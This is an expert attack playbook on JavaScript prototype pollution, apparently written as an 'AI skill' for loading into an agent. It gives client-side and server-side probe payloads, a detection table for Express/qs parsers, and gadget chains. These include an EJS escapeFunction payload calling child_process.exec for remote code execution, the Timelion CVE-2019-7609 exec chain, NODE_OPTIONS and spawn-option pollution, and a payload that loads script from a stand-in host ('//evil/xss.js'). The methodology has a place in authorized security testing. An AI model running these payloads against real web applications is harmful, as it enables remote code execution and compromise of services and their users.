- SKILL: Prototype Pollution — Expert Attack Playbook
- AI LOAD INSTRUCTION
- Expert prototype pollution for client and server JS. Covers proto vs constructor.prototype , merge-sink detection, Express/qs-style black-box probes, and gadget chains (EJS, Timelion-class patterns, child_process/NODE_OPTIONS). Assumes you know object spread and prototype inheritance — focus is on parser behavior and post-pollution sinks . Routing note: prioritize PP when you see deep merges, recursive assign, JSON.parse followed by Object.assign , or URL queries converted to nested objects. 0. QUICK START Client-side first probes
proto[polluted]=1
proto[polluted]=polluted
constructor[prototype][polluted]=1
When input can reflect into DOM or framework routing, pair with alert(1) / console checks to observe whether global object properties were polluted.
proto[xxx]=alert(1)
- Server-side first probes(JSON / form)
- {
- "proto"
- :
- {
- "polluted"
- :
- true
- }
- }
- {
- "constructor"
- :
- {
- "prototype"
- :
- {
- "polluted"
- :
- true
- }
- }
- }
- After sending, check whether unrelated follow-up responses show abnormal headers/status/JSON spacing, or whether app logic reads
- Object.prototype.polluted
- (see §3 detection table).
- Quick boolean
- If target code uses
- lodash.merge
- ,
- deep-extend
- ,
- hoek.applyToDefaults
- , or some
- qs
- /
- query-string
- configurations,
- raise priority
- .
- 1. MECHANISM
- Prototype chain
-
- when accessing
- obj.key
- , if
- obj
- lacks own property
- key
- , lookup walks up
- [[Prototype]]
- until
- Object.prototype
- .
- proto
-
- many parsers treat literal key
- proto
- as a magic path that attaches child properties to the prototype. Merging
- { "proto": { "x": 1 } }
- can be equivalent to
- Object.prototype.x = 1
- depending on implementation and patch level.
- constructor.prototype
- :
- constructor
- typically points to the object's constructor function;
- constructor.prototype
- is that constructor's prototype object. For plain objects this usually links to
- Object.prototype
- . Example path:
- {
- "constructor"
- :
- {
- "prototype"
- :
- {
- "polluted"
- :
- 1
- }
- }
- }
- This is not always equivalent to
- proto
- (filtering, JSON parsing, Bun/Node differences), so
- test both paths
- .
- Core issue
- this is not just "one extra parameter"; in non-isolated merge logic, attacker-controlled keys point to prototype objects , giving global or shared template context malicious properties that later code reads normally, triggering gadgets. 2. CLIENT-SIDE DETECTION URL fragment https://app.example/page#proto[admin]=1 https://app.example/#proto[xxx]=alert(1) If router or analytics code parses fragments into objects and then merges, pollution may occur. constructor.prototype path
constructor[prototype][role]=admin
- DOM / attribute injection ideas
- If the framework merges attribute names as object keys:
- proto[src]=//evil/xss.js
- Event-handler style keys (implementation-dependent):
- proto[onerror]=alert(1)
- Verification
-
- open a fresh page without fragment and check in console whether test keys remain on
- Object.prototype
- ; account for extension and DevTools interference.
- 3. SERVER-SIDE DETECTION (Express / Node, black-box)
- The payloads below assume body/query is deeply parsed into objects by
- qs
- or similar parsers (possibly with
- body-parser
- ). Observe
- global side effects
- , not only current endpoint return values.
- Payload (JSON example)
- Expected observable signal
- {"proto":{"parameterLimit":1}}
- Multi-parameter parsing in follow-up requests is ignored or abnormal (
- qs
- -style
- parameterLimit
- )
- {"proto":{"ignoreQueryPrefix":true}}
- Double-question-mark prefixes like
- ??foo=bar
- are accepted or behavior changes sharply
- {"proto":{"allowDots":true}}
- Nested keys like
- ?foo.bar=baz
- are expanded via dot notation
- {"proto":{"json spaces":" "}}
- JSON-serialized responses gain extra spaces (
- JSON.stringify
- spacing setting polluted)
- {"proto":{"exposedHeaders":["foo"]}}
- CORS responses include
- foo
- -related headers (if framework reads config from prototype)
- {"proto":{"status":510}}
- Some response status changes to 510 or another abnormal code (app reads
- status
- from object)
- Operational tip
-
- send pollution request first, then a
- clean
- request to observe persistence; connection pools and worker lifecycle affect whether impact is globally visible.
- 4. EXPLOITATION GADGETS
- Target / scenario
- Payload or pattern
- Notes
- EJS
- {"proto":{"client":1,"escapeFunction":"JSON.stringify; process.mainModule.require('child_process').exec('COMMAND')"}}
- If template engine options like
- escapeFunction
- are read from polluted prototype, this may lead to RCE; strongly version/config dependent
- Timelion expression chain (CVE-2019-7609)
- .es(*).props(label.proto.env.AAAA='require("child_process").exec("COMMAND")')
- Historical chain: prototype pollution + timeline expression execution; useful to understand
- expression + PP
- combinations
- Node
- child_process
- Pollute
- shell
- ,
- argv0
- ,
- env
- ,
- NODE_OPTIONS
- , etc. (merged into
- exec
- /
- fork
- option objects)
- Depends on whether later code calls
- spawn
- /
- fork
- and reads options from prototype chain
- Generic constructor path
- {"constructor":{"prototype":{"foo":"bar"}}}
- Bypasses weak validation that filters only the
- proto
- key
- Chain mindset
- pollution -> dependency reads obj.settings.xxx without hasOwnProperty -> RCE / SSRF / path traversal. 5. TOOLS Project Purpose yeswehack/pp-finder Helps locate PP-prone merge points and patterns yuske/silent-spring Research and detection around prototype-pollution surfaces yuske/server-side-prototype-pollution Server-side PP testing suite/methodology BlackFan/client-side-prototype-pollution Browser-side PP cases and payloads portswigger/server-side-prototype-pollution Burp ecosystem extension / supporting material msrkp/PPScan Scanning/verification helper Prioritize use on authorized targets; automated tools can cause side effects on stateful applications. 6. DECISION TREE Input merged into nested object? (query, JSON, GraphQL vars, YAML→JSON) | NO --------------+-------------- YES | | Other vuln class Parser allows proto / constructor.prototype keys? | NO --------------+-------------- YES | | Check unicode / Confirm global effect: bypass of key names clean follow-up request | | +--------------+----------------+ | v Gadget present? (template, spawn, JSON.stringify opts, CORS) | NO ------------------+------------------ YES | | Report PP as DoS / Build minimal RCE or logic impact high-impact PoC | | +---------------------+-------------------+ | v Client-side: fragment / DOM / third-party script Server-side: qs/body-parser/lodash/deep-merge version audit Related routing Input routing and multi-injection parallel entry -> Injection Testing Router . Template execution chains (non-PP) -> SSTI . Insecure deserialization (non-JS prototype) -> Deserialization .